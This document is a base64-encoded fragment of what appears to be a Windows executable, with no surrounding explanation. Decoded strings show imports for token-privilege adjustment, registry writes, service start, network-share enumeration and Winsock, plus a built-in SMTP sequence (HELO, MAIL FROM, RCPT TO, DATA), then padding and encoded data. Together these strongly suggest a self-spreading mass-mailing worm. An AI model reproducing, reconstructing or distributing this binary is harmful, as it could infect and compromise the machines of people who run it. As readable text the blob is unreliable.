ZACYAEVxdWFsU2lkAAAYAEFsbG9jYXRlQW5kSW5pdGlhbGl6ZVNpZAAA0ABHZXRUb2tlbklu Zm9ybWF0aW9uAEIBT3BlblByb2Nlc3NUb2tlbgAAXAFSZWdDb25uZWN0UmVnaXN0cnlBALIB U3RhcnRTZXJ2aWNlQQB7AVJlZ1F1ZXJ5VmFsdWVFeEEAAIYBUmVnU2V0VmFsdWVFeEEAAF4B UmVnQ3JlYXRlS2V5QQAXAEFkanVzdFRva2VuUHJpdmlsZWdlcwD1AExvb2t1cFByaXZpbGVn ZVZhbHVlQQBBRFZBUEkzMi5kbGwAAFdTMl8zMi5kbGwAABEAV05ldENsb3NlRW51bQAcAFdO ZXRFbnVtUmVzb3VyY2VBAEAAV05ldE9wZW5FbnVtQQBNUFIuZGxsACYBR2V0TW9kdWxlSGFu ZGxlQQAAUAFHZXRTdGFydHVwSW5mb0EAfQBFeGl0UHJvY2VzcwC/AEdldENQSW5mbwC5AEdl dEFDUAAAMQFHZXRPRU1DUAAAvwFMQ01hcFN0cmluZ0EAAMABTENNYXBTdHJpbmdXAACfAUhl YXBGcmVlAACZAUhlYXBBbGxvYwCtAlVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgAAsgBGcmVl RW52aXJvbm1lbnRTdHJpbmdzQQCzAEZyZWVFbnZpcm9ubWVudFN0cmluZ3NXAAYBR2V0RW52 aXJvbm1lbnRTdHJpbmdzAAgBR2V0RW52aXJvbm1lbnRTdHJpbmdzVwAAbQJTZXRIYW5kbGVD b3VudAAAUgFHZXRTdGRIYW5kbGUAABUBR2V0RmlsZVR5cGUAnQFIZWFwRGVzdHJveQCbAUhl YXBDcmVhdGUAAL8CVmlydHVhbEZyZWUALwJSdGxVbndpbmQAUwFHZXRTdHJpbmdUeXBlQQAA VgFHZXRTdHJpbmdUeXBlVwAAuwJWaXJ0dWFsQWxsb2MAAKIBSGVhcFJlQWxsb2MAfAJTZXRT dGRIYW5kbGUAAKoARmx1c2hGaWxlQnVmZmVycwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA W4lAAG+zQAAAAAAAAAAAABS0QAAAAAAAAAAAAAAAAAAAAAAAMw1BAEAAAAAgAAAALAAAAC0t AABcAAAAUVVJVA0KAAANCi4NCgAAAERBVEEgDQoASEVMTyAlcw0KAAAAPg0KAE1BSUwgRlJP TTogPAAAAABSQ1BUIFRPOjwAAAAlZAAAIAkNCgAAAAAuLCgpJSRAIWB+IAAtXwAALi4AAC4A AABcKi4qAAAAAFxcAAAAAAAAiRV37zMZmXgQWLjJ8pkAAAPzm+VicnJy8bCIgMioiIDIguiI mPMwWPiAMFj4gPFieuiAguiImPP4kDI68UDYYLggiICCgNhQ8+C4YNDx0LjA+OiC6IiY87j4 qPGwiIDIqIiAyILoiJjzOIhYmNjxsIiAyKiIgMiC6IiY81CImPFI+Liw+IDIguiImIKwqPNY 0ODxQNhguCCIgIKA2FDzaLho8bCIgMioiIDIguiImPNQ+ODg2PHQuMD46ILoiJjz4FhosPFA 2GC4IIiAgoDYUPOYWKj48UjgmqD4cPiAguiIgqBw81CIqDiI8UjgmqD4cPiAguiIgqBw8+jY 4LhQ+Gi4+PFosIhI2GCoaILoiJjzYLjo6Phg0IgJ4NiQkPiAuPHo+FCw+Dhw+Oi4wLjoguiI mPPgQNhgYPiQkPGQiMjAYNhQguiImPNouJBAuPgJUPjIkLj4wNhgYLjx6PhQsPg4cPjouMC4 6ILoiJjz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz 8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz 8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz 8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz 8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz 8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz 8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz 8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz 8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz 8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz 8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz 8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz 8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz 8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz 8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz 8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz 8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz 8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz 8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz 8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz 8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz 8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz 8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz 8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz 8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz 8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz 8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz 8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz 8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz 8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz 8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz 8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz 8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz 8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz 8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz 8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz 8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz 8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz 8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz 8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz 8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz 8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz 8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz 8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz 8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz 8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz 8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz 8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz 8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz 8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz 8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz 8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz 8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz 8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz 8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz 8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz 8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz 8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz 8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz 8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz 8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz 8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz 8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz 8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz 8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz 8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz 8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz 8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz 8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz 8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8yIR+WDosLhAiGjy0NjycGCIyGD4mPgR +dD4cFDY6BFpsPhg2NAR2enR6fLZgMi4gNgR2YDIuIDYgqgw+PPz2DiA8+j4gPKRUTERsHBw aPhwcIIwiIjzwNjz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz 8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz 8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz 8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/OYcDLzgtgw2POCaOhg84JwuMDzguD4UPPz8/Pz8/Pz8/Pz 8/OCUDBQ84KwUJjzgrBQmJDzgkj44POC+Ghw84LQiOjzgmBQwPOCMJBo84KgcMjzguhwcPOC 6POCcPho84KYcMjzgphw2MjzguD4qPOCmHBq84Jw0MDz82mIwFBI+GDYEZm46GCIaIjAUBFJ uIDQiEhoEelYYGDYgFBB2GBouIiAEfP5cHDycfhQsGjzYViA82FYgImA6NjzaThoUNiYEelY YGDYgFDpiIBQYIiQadhQEWnYYEC46Nho82mIwFBI+GDYEZm46GCIaIjAUBFJ+eERSfnhUhFJ +ODywbiQ2PKB+JjY82FYgGnYYEC46Nho87mAUNhggNhQ8mnYUFC4gMhoEen46LDYEXH4ULBo 8/Pz8/Pz8/OxuJLzsdiQkIiS82HYIvPBSCLzWYDQ2JC4QNhg+OCQ2PKY+LiQmpri2mji82HY UFhggNjQ8pj4uJCamuLaaOLz8/Pz8/jy2mjy2mjyyPiY2PP48tpo8tpo8lCIiJDz+PLaaPLa aPJI2OBouFDY8/jy2mjy2mjycPhQ6LDz2mjyYNiYiED4kPJQiIiQaPPz8/Pz8/PzgNhI88BY gIA484C46NjzsFiYiFhg89gw6LhQ2PPIiIjQ83CISMBYkPNJuIAxcfO52fJCgnLzSWpigtmQ qNhggPLzSWpigqmQ2CCC2fPzsIhI8vhg2PI4iFjzkNhQymjy4NjywGC42IDQaPPQ+GCQuIDI 82iI8uiIiJDy+PLAkPhosJLYgKCIOPK4UPM4iFhg8nD4aGhIiGDQ87CIgNg482iImNjyeFjY aFC4iIBo83CQ2Pho2PJQYDjy+Mj4uIDzSNiQ6IiY2PJQiPKYOPKwiJjYUIhIgPNQsNjyyfhg 0NiA8ojA8tnQ2IDzuIBQYIjQWOhQuIiA8oiA8vnRaZHzmNjYULiAyPKAiFC46NjzeFjYaFC4 iICA+Lhg2PPoiIDIYPhQWJD4ULiIgGjzaIho+vOg+HD4gNho2PLIuGCQ8kFp8nCQ+DjgiDjz kIiIqJKYOPLg2PhYULjAWJDyyLhgkPLAYLjYgNDz2PjI2GDyUIjyaNjY8jiIWPNocLjo2PLI 